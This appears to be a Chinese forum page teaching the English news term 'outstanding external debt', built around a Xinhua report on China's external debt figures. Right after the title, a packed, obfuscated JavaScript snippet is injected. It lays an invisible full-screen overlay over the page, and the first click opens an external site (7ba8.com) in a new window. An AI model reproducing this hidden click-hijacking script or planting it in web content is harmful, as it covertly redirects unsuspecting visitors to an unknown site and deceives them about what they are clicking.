新闻英语:“外债余额”怎么说

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>中国国家外汇管理局19日公布了中国最新外债数据。截至去年9月末,中国外债余额为5464.49亿美元,其中美元债务占71.91%,尽管较去年一季度末占比略有下降,但较2009年末仍上升4.15个百分点。
  请看新华社的报道:
  China's outstanding external debt (excluding that of Hong Kong SAR, Macao SAR and Taiwan province) reached $546.449 billion, said the State Administration of Foreign Exchange (SAFE) on Wednesday。
  中国国家外汇管理局周三称,中国的外债余额(不包括香港特区、澳门特区和台湾省)达到了5464.49亿美元。
  在上面的报道中,outstanding external debt指的是“外债余额”,external debt即“外债”。外债余额是指国有商业银行总行及其境内外分支机构,向境外的金融机构或其他企业、机构、个人筹借并供境内使用且尚未偿还的,以外国货币承担契约性偿还义务的所有债务总额。Outstanding在这里的意思是“未支付的”。
  数据显示,short term external debt(短期外债)在我国外债中所占比例继续上升。其中,trade credit(贸易信贷)和trade finance(贸易融资)占短期外债余额的78.17%,这与中国近年外贸迅猛发展相关。
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部